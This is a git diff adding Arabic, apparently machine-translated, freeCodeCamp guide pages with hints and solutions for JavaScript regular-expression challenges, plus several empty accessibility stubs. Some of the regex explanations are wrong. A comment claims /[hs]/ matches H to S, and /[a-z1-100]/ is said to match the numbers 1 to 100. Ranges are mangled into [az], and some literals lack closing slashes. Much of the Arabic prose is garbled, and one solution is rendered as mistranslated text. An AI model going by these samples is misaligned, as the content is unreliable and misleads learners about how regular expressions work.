@@ -0,0 +1,36 @@
+---
+title: Match Numbers and Letters of the Alphabet
+localeTitle: أرقام المباراة ورسائل الأبجدية
+---
+## أرقام المباراة ورسائل الأبجدية
+
+في هذا التحدي ، تتم مطالبتك بإرجاع مجموعة من الأرقام والحروف المستخرجة من سلسلة. هدفنا هو إنشاء regexp واحد يلتقط نطاق الحروف بين h و s ، والأرقام من 2 إلى 6.
+
+### تلميح 1:
+
+هل تستخدم طريقة match ()؟ إذا كان الأمر كذلك ، فهل تقوم باستدعاء الطريقة من المتغير المناسب؟ أي
+
+ `  let input_string = "The string you are testing on" 
+  let yourRegExp = /[hs]/; 
+  let correct_result = input_string.match(yourRegExp); // passes - returns characters H to S 
+ 
+  let incorrect_result = yourRegExp.match(input_string); // fails - .match() is not a function 
+` 
+
+### تلميح 2:
+
+هل تذكر تمكين إشارات regexp مثل "i" لتجاهل الحالة و "g" لإرجاع قيم متعددة؟ إذا كان الأمر كذلك ، فهل تقوم بتضمين كل من مطابقة الأحرف للأرقام والحروف؟
+
+ `let regexp = /[a-z1-100]/ig 
+ // above code returns all characters from A to Z, along with all numbers from 1 to 100 
+ // this includes the letter A and Z and the numbers 1 and 100 
+` 
+
+### تنبيه المفسد - الحل إلى الأمام
+
+## حل
+
+ `let quoteSample = "Blueberry 3.141592653s are delicious."; 
+ let myRegex = /[h-s2-6]/ig; // Change this line 
+ let result = quoteSample.match(myRegex); // Change this line 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-character-with-multiple-possibilities/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-character-with-multiple-possibilities/index.md
new file mode 100644
index 0000000000..aa719c046d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-character-with-multiple-possibilities/index.md
@@ -0,0 +1,26 @@
+---
+title: Match Single Character with Multiple Possibilities
+localeTitle: تطابق شخصية واحدة مع إمكانيات متعددة
+---
+## تطابق شخصية واحدة مع إمكانيات متعددة
+
+### استخراج
+
+باستخدام طريقة match () ، يمكنك استخراج أجزاء من سلسلة تتطابق مع تعبيرك العادي. في هذا التحدي ، أنت تقوم باستخلاص أحرف العلة "a، e، i، o، u" من سلسلة مقدمة.
+
+### تلميح 1:
+
+هل تحاول استخدام طريقة test ()؟ تذكر هذه الطريقة فقط بإرجاع True أو False - نحتاج إلى استخراج أحرف العلة من السلسلة.
+
+### تلميح 2:
+
+هل جرّبت استخدام مطابقة حالة الأحرف "\[\]" بدون الفواصل؟ أي \[abcd\] مقابل \[a، b، c، d\]
+
+### تنبيه المفسد - الحل إلى الأمام!
+
+## حل
+
+ `let quoteSample = "Beware of bugs in the above code; I have only proved it correct, not tried it."; 
+ let vowelRegex = /[aeiou]/ig; // Change this line 
+ let result = quoteSample.match(vowelRegex); // Change this line 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-characters-not-specified/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-characters-not-specified/index.md
new file mode 100644
index 0000000000..bafe3a5c03
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-characters-not-specified/index.md
@@ -0,0 +1,36 @@
+---
+title: Match Single Characters Not Specified
+localeTitle: مطابقة أحرف مفردة غير محددة
+---
+## مطابقة أحرف مفردة غير محددة
+
+في هذا التحدي ، يُطلب منا إعادة مجموعة من التطابقات غير المحددة بدقة. في حين أن تحديات regexp السابقة ستطابق في حالة الأحرف \[az\] ، فإن هذا التحدي يطلب منا إلغاء هذه التطابقات باستخدام حرف الإقحام \[^ az\]. هدفنا بعد ذلك هو إرجاع مجموعة متخللة (غير مطابقة) من الحروف التي ليست حروفًا متحركة أو أرقامًا.
+
+## تلميح 1:
+
+هل تذكرت أن تقوم بتعديل regexp الخاص بك في كل من الأقواس والخطوط المائلة؟
+
+ `let exampleRegExp = /[^az]/; 
+` 
+
+إذا كان الأمر كذلك ، فتأكد من أنك تضيف العلامات المناسبة:
+
+*   أنا: تجاهل الحالة العلوية والسفلية من البحث / التطابق
+*   g: استرداد قيم متعددة ؛ يتم تعيين الافتراضي على إرجاع المطابقة الأولى التي يواجهها
+*   ^: تناسي المباريات التالية لهذه العلامة
+
+### تلميح 2:
+
+تأكد من التحقق مما إذا كان نطاق الأرقام صحيحًا - يطالبنا التحدي بإنهاء جميع الأرقام من 0 إلى 99. يمكن القيام بذلك باستخدام علامة الإبطال السلبي الموضوعة مباشرة بعد أول شريحة افتتاحية من كلمة regexp الخاصة بك.
+
+ `let numbersRegExp = /[^0-99]/ig; 
+` 
+
+### تنبيه المفسد - الحل إلى الأمام
+
+## حل
+
+ `let quoteSample = "3 blind mice."; 
+ let myRegex = /[^aeiou^0-99]/ig; // Change this line 
+ let result = quoteSample.match(myRegex); // Change this line 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-whitespace/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-whitespace/index.md
new file mode 100644
index 0000000000..24dc5115ca
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-whitespace/index.md
@@ -0,0 +1,9 @@
+---
+title: Match Whitespace
+localeTitle: تطابق الفراغ
+---
+## تطابق الفراغ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-whitespace/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/positive-and-negative-lookahead/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/positive-and-negative-lookahead/index.md
new file mode 100644
index 0000000000..671c091fac
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/positive-and-negative-lookahead/index.md
@@ -0,0 +1,17 @@
+---
+title: Positive and Negative Lookahead
+localeTitle: الإيجابية و السلبية Lookahead
+---
+## الإيجابية و السلبية Lookahead
+
+*   تذكر استخدام 2 `lookaheads` للتحقق من الأنماط في السلسلة. أول `lookahead` مشابه جدا لتلك الواردة في المثال - '(؟ = \\ w {3،6}) - فقط `lower-number` 3 منخفض جدا بالنسبة لحالات الاختبار لدينا ، `upper-number` هو unnecessarry تماما. يستخدم هذا `lookahead` الأول فقط لإيجاد سلسلة تتكون من كمية معينة من الأحرف. يجب استخدام `lookahead` الثاني للتحقق من القيم الرقمية المتتالية في نهاية السلسلة.
+    
+*   `lookahead` الثاني أيضاً مع ذلك في المثال - `(?=\D*\d)` - ومع ذلك ، يجب تعديل هذا التعبير أيضًا لتمرير جميع حالات الاختبار. تذكر أن تحدد مقدار الأرقام الذي تريده بالضبط في نهاية السلسلة.
+    
+
+## حل :
+
+ `let sampleWord = "astronaut"; 
+ let pwRegex = /(?=\w{5,})(?=\D*\d{2})/; 
+ let result = pwRegex.test(sampleWord); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/remove-whitespace-from-start-and-end/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/remove-whitespace-from-start-and-end/index.md
new file mode 100644
index 0000000000..3bdde185fb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/remove-whitespace-from-start-and-end/index.md
@@ -0,0 +1,24 @@
+---
+title: Remove Whitespace from Start and End
+localeTitle: إزالة Whitespace من البداية والنهاية
+---
+## إزالة Whitespace من البداية والنهاية
+
+لحل هذا التحدي عليك ببساطة إنشاء سلسلة regex تطابق أي مسافات في بداية أو في نهاية السلسلة.
+
+## تلميح 1:
+
+فكر في كيفية تحديد سلاسل فرعية في بداية أو نهاية سلسلة.
+
+## تلميح 2:
+
+فكر في كيف يمكنك تحديد مسافة بيضاء
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل:
+
+ `let hello = "   Hello, World!  "; 
+ let wsRegex = /^\s+|\s+$/g; // Change this line 
+ let result = hello.replace(wsRegex, ''); // Change this line 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/restrict-possible-usernames/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/restrict-possible-usernames/index.md
new file mode 100644
index 0000000000..ddeecd1f6e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/restrict-possible-usernames/index.md
@@ -0,0 +1,29 @@
+---
+title: Restrict Possible Usernames
+localeTitle: تقييد أسماء المستخدمين المحتملين
+---
+## تقييد أسماء المستخدمين المحتملين
+
+## حل:
+
+ `let username = "JackOfAllTrades"; 
+ let userCheck = /^[az]{2,}\d*$/i; 
+ let result = userCheck.test(username); 
+` 
+
+## شرح:
+
+1.  الأرقام الوحيدة في اسم المستخدم يجب أن تكون في النهاية. `\d$` يمكن أن يكون هناك صفر أو أكثر منهم في النهاية. `*`
+
+ `/\d*$/; 
+` 
+
+2.  يمكن أن تكون أحرف اسم المستخدم صغيرة وأحرف كبيرة. `i`
+
+ `/\d*$/i; 
+` 
+
+3.  يجب أن تتكون أسماء المستخدمين من حرفين على الأقل. `{2,}` يمكن لاسم المستخدم المكون من حرفين فقط استخدام أحرف الحروف الأبجدية. `^[az]`
+
+ `/^[az]{2,}\d*$/i; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/reuse-patterns-using-capture-groups/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/reuse-patterns-using-capture-groups/index.md
new file mode 100644
index 0000000000..ebf96262db
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/reuse-patterns-using-capture-groups/index.md
@@ -0,0 +1,55 @@
+---
+title: Reuse Patterns Using Capture Groups
+localeTitle: إعادة استخدام الأنماط باستخدام مجموعات الالتقاط
+---
+## إعادة استخدام الأنماط باستخدام Capture Group
+
+## تلميح 1:
+
+كود المقدمة أدناه:
+
+ `let testString = "test test test "; 
+ let reRegex =/(test)\s\1/; 
+ let result = reRegex.test(testString); 
+` 
+
+سوف تتطابق `result` مع `test test` فقط لأن `\1` في هذا المثال تشير إلى نفس النص الذي تم مؤخرًا تطابقه مع المجموعة الأولى `(test)` .
+
+إذا كنا سنترجم التعبير المعتاد حرفياً ، فسيبدو شيئًا كالتالي:
+
+ `let re = /(test)\s\1; 
+ let literalRe = /test\stest; 
+` 
+
+كل من `rea` و `literalRe` تطابق نفس الشيء.
+
+## تلميح 2:
+
+نظرا للرمز أدناه:
+
+ `let testString = "test test test "; 
+ let reRegex =/(test)(\s)\1\2\1/; 
+ let result = reRegex.test(testString); 
+` 
+
+سيطابق `test test test` كامل `test test test` بسبب: `\1` يكرر (اختبار) `\2` يكرر (\\ s)
+
+## تلميح 3:
+
+الكود أدناه:
+
+ `let testString = "test test test test test test"; 
+ let reRegex =/(test)(\s)\1\2\1/g; 
+ let result = reRegex.test(testString); 
+` 
+
+نظرًا لأننا استخدمنا `\g` ، فلن يعود التعبير المعتاد الخاص بنا بعد أول مباراة كاملة ( `test test test` ) ويطابق كل التكرار.
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل:
+
+ `let repeatNum = "42 42 42"; 
+ let reRegex =  /^(\d+)\s\1\s\1$/; 
+ let result = reRegex.test(repeatNum); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-exact-number-of-matches/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-exact-number-of-matches/index.md
new file mode 100644
index 0000000000..eabd9029a5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-exact-number-of-matches/index.md
@@ -0,0 +1,9 @@
+---
+title: Specify Exact Number of Matches
+localeTitle: تحديد العدد الدقيق للمباريات
+---
+## تحديد العدد الدقيق للمباريات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-exact-number-of-matches/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-only-the-lower-number-of-matches/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-only-the-lower-number-of-matches/index.md
new file mode 100644
index 0000000000..9a5f4eb2bb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-only-the-lower-number-of-matches/index.md
@@ -0,0 +1,13 @@
+---
+title: Specify Only the Lower Number of Matches
+localeTitle: تحديد عدد أقل من المطابقات فقط
+---
+المشكلة تغيير haRegex regex لتتطابق مع الكلمة "Hazzah" فقط عندما يحتوي على أربعة أحرف z أو أكثر.
+
+حل let haStr = "Hazzzzah"؛ let haRegex = / Haz {4،30} ah /؛ // قم بتغيير هذا الخط اسمحوا النتيجة = haRegex.test (haStr) ؛
+
+## تحديد عدد أقل من المطابقات فقط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-only-the-lower-number-of-matches/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-upper-and-lower-number-of-matches/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-upper-and-lower-number-of-matches/index.md
new file mode 100644
index 0000000000..fdca8006a7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-upper-and-lower-number-of-matches/index.md
@@ -0,0 +1,30 @@
+---
+title: Specify Upper and Lower Number of Matches
+localeTitle: تحديد العلوي والسفلي عدد من المباريات
+---
+## تحديد العلوي والسفلي عدد من المباريات
+
+تذكر `/a{2,4}/` سيعود `true` طالما هناك بين 2 إلى 4 أ معًا. فإنه سيعود `true` عن أي سلسلة لديها أكثر من أربعة ومعا أيضا.
+
+كل هذه السلاسل ستعود `true` :
+
+ `let threeAs = "aaa"; 
+ let fourAs = "aaaa"; 
+ let sevenAs = "aaaaaaa"; 
+ 
+ let myRegex = /a{2,4}/; 
+ myRegex.test(threeAs) ; // true 
+ myRegex.test(fourAs) ; // true 
+ myRegex.test(sevenAs) ; // true 
+` 
+
+## Spolier Alert!
+
+تذكر استخدام `\s` بعد تضمين `Oh{3,6}` لتضمين مساحة بيضاء متبوعة بالرقم `no` لتمرير جميع حالات الاختبار. تتم كتابة جميع حالات الاختبار باستخدام رأس مال O ، ومع ذلك يمكن تمريرها أيضًا باستخدام `ignore-case` : `/oh{3,6}\sno/i`
+
+## حل:
+
+ `let ohStr = "Ohhh no"; 
+ let ohRegex = /Oh{3,6}\sno/; // Change this line 
+ let result = ohRegex.test(ohStr); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/use-capture-groups-to-search-and-replace/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/use-capture-groups-to-search-and-replace/index.md
new file mode 100644
index 0000000000..d8882accc5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/use-capture-groups-to-search-and-replace/index.md
@@ -0,0 +1,21 @@
+---
+title: Use Capture Groups to Search and Replace
+localeTitle: استخدم مجموعات الالتقاط للبحث واستبدال
+---
+## استخدم مجموعات الالتقاط للبحث واستبدال
+
+باستخدام `.replace()` مع تعيين المعلمة الأولى للبحث عن جزء من السلسلة الأصلية لاستبدالها ، ويجب أن تكون المعلمة الثانية الاستبدال.
+
+## تلميح 1:
+
+قم بتعديل regex بحيث يقوم `fixRegex` بالكشف عن جزء من السلسلة لاستبداله ويجب تعديل متغير `replaceText` إلى السلسلة التي ستحل محل `fixRegex` .
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل
+
+ `let huhText = "This sandwich is good."; 
+ let fixRegex = /good/; // Change this line 
+ let replaceText = "okey-dokey"; // Change this line 
+ let result = huhText.replace(fixRegex, replaceText); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/using-the-test-method/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/using-the-test-method/index.md
new file mode 100644
index 0000000000..16ef5841a2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/using-the-test-method/index.md
@@ -0,0 +1,20 @@
+---
+title: Using the Test Method
+localeTitle: باستخدام طريقة الاختبار
+---
+## باستخدام طريقة الاختبار
+
+في هذا التحدي، كنت فحص لمعرفة ما اذا كان سلسلة تحتوي على بعض "التعبير العادي"، أو **التعابير المنطقية** **(ريج** ular pressions **السابقين).** ستستخدم طريقة `test()` للقيام بذلك.
+
+## تلميح 1:
+
+استدعاء طريقة الاختبار على `myRegex` . ما رأيك في الحجة؟
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل
+
+ `let myString = "Hello, World!"; 
+ let myRegex = /Hello/; 
+ let result = myRegex.test(myString); // Change this line 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/add-a-text-alternative-to-images-for-visually-impaired-accessibility/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/add-a-text-alternative-to-images-for-visually-impaired-accessibility/index.md
new file mode 100644
index 0000000000..e8904c347a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/add-a-text-alternative-to-images-for-visually-impaired-accessibility/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a Text Alternative to Images for Visually Impaired Accessibility
+localeTitle: إضافة بديل نص إلى الصور لإعاقة الوصول بصريًا
+---
+## إضافة بديل نص إلى الصور لإعاقة الوصول بصريًا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/add-a-text-alternative-to-images-for-visually-impaired-accessibility/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/add-an-accessible-date-picker/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/add-an-accessible-date-picker/index.md
new file mode 100644
index 0000000000..18e66b620d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/add-an-accessible-date-picker/index.md
@@ -0,0 +1,9 @@
+---
+title: Add an Accessible Date Picker
+localeTitle: إضافة منتقي تاريخ يسهل الوصول إليه
+---
+## إضافة منتقي تاريخ يسهل الوصول إليه
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/add-an-accessible-date-picker/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-carefully-choosing-colors-that-convey-information/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-carefully-choosing-colors-that-convey-information/index.md
new file mode 100644
index 0000000000..03fd214443
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-carefully-choosing-colors-that-convey-information/index.md
@@ -0,0 +1,16 @@
+---
+title: Avoid Colorblindness Issues by Carefully Choosing Colors that Convey Information
+localeTitle: تجنب مشاكل Colorblindness عن طريق اختيار الألوان التي نقل المعلومات بعناية
+---
+## تجنب مشاكل Colorblindness عن طريق اختيار الألوان التي نقل المعلومات بعناية
+
+اتباع التعليمات:
+
+تغيير لون النص إلى اللون الأزرق الغامق (# 003366)
+
+يصبح السطر 4:
+
+ `color: #003366; 
+` 
+
+وسوف يصبح لون النص أكثر قتامة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-using-sufficient-contrast/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-using-sufficient-contrast/index.md
new file mode 100644
index 0000000000..32f2988c99
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-using-sufficient-contrast/index.md
@@ -0,0 +1,17 @@
+---
+title: Avoid Colorblindness Issues by Using Sufficient Contrast
+localeTitle: تجنب مشكلات Colorblindness عن طريق استخدام التباين الكافي
+---
+## تجنب مشكلات Colorblindness عن طريق استخدام التباين الكافي
+
+اتباع التعليمات:
+
+قم بزيادة قيمة خفة اللون في الخلفية من 35٪ إلى 55٪ ، وخفض قيمة خفة اللون من 20٪ إلى 15٪.
+
+يصبح السطران 4 و 5:
+
+ `    color: hsl(0, 55%, 15%); 
+    background-color: hsl(120, 25%, 55%); 
+` 
+
+هذا يحسن التباين إلى 5.9: 1.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/give-links-meaning-by-using-descriptive-link-text/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/give-links-meaning-by-using-descriptive-link-text/index.md
new file mode 100644
index 0000000000..45a5623469
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/give-links-meaning-by-using-descriptive-link-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Give Links Meaning by Using Descriptive Link Text
+localeTitle: إعطاء الارتباطات المعنوية باستخدام نص الوصلة الوصفية
+---
+## إعطاء الارتباطات المعنوية باستخدام نص الوصلة الوصفية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/give-links-meaning-by-using-descriptive-link-text/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/improve-accessibility-of-audio-content-with-the-audio-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/improve-accessibility-of-audio-content-with-the-audio-element/index.md
new file mode 100644
index 0000000000..01d5ed8d16
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/improve-accessibility-of-audio-content-with-the-audio-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Improve Accessibility of Audio Content with the audio Element
+localeTitle: تحسين إمكانية الوصول إلى المحتوى الصوتي باستخدام عنصر الصوت
+---
+## تحسين إمكانية الوصول إلى المحتوى الصوتي باستخدام عنصر الصوت
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/improve-accessibility-of-audio-content-with-the-audio-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/improve-chart-accessibility-with-the-figure-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/improve-chart-accessibility-with-the-figure-element/index.md
new file mode 100644
index 0000000000..7be39c9272
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/improve-chart-accessibility-with-the-figure-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Improve Chart Accessibility with the figure Element
+localeTitle: تحسين إمكانية الوصول المخطط مع عنصر الشكل
+---
+## تحسين إمكانية الوصول المخطط مع عنصر الشكل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/improve-chart-accessibility-with-the-figure-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/improve-form-field-accessibility-with-the-label-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/improve-form-field-accessibility-with-the-label-element/index.md
new file mode 100644
index 0000000000..508d8d8042
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/improve-form-field-accessibility-with-the-label-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Improve Form Field Accessibility with the label Element
+localeTitle: تحسين إمكانية الوصول إلى حقل النموذج باستخدام عنصر التسمية
+---
+## تحسين إمكانية الوصول إلى حقل النموذج باستخدام عنصر التسمية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/improve-form-field-accessibility-with-the-label-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/improve-readability-with-high-contrast-text/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/improve-readability-with-high-contrast-text/index.md
new file mode 100644
index 0000000000..6fe3e5c592
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/improve-readability-with-high-contrast-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Improve Readability with High Contrast Text
+localeTitle: تحسين إمكانية القراءة مع نص عالي التباين
+---
+## تحسين إمكانية القراءة مع نص عالي التباين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/improve-readability-with-high-contrast-text/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/index.md
new file mode 100644
index 0000000000..0f2dfbed66
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/index.md
@@ -0,0 +1,11 @@
+---
+title: Applied Accessibility
+localeTitle: سهولة التطبيق
+---
+## سهولة التطبيق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/jump-straight-to-the-content-using-the-main-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/jump-straight-to-the-content-using-the-main-element/index.md
new file mode 100644
index 0000000000..9bf1fd4eb6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/jump-straight-to-the-content-using-the-main-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Jump Straight to the Content Using the main Element
+localeTitle: الانتقال مباشرةً إلى المحتوى باستخدام العنصر الرئيسي
+---
+## الانتقال مباشرةً إلى المحتوى باستخدام العنصر الرئيسي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/jump-straight-to-the-content-using-the-main-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/know-when-alt-text-should-be-left-blank/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/know-when-alt-text-should-be-left-blank/index.md
new file mode 100644
index 0000000000..c42c2d4106
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/know-when-alt-text-should-be-left-blank/index.md
@@ -0,0 +1,9 @@
+---
+title: Know When Alt Text Should be Left Blank
+localeTitle: معرفة متى يجب ترك النص البديل فارغًا
+---
+## معرفة متى يجب ترك النص البديل فارغًا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/know-when-alt-text-should-be-left-blank/index.md) .
+
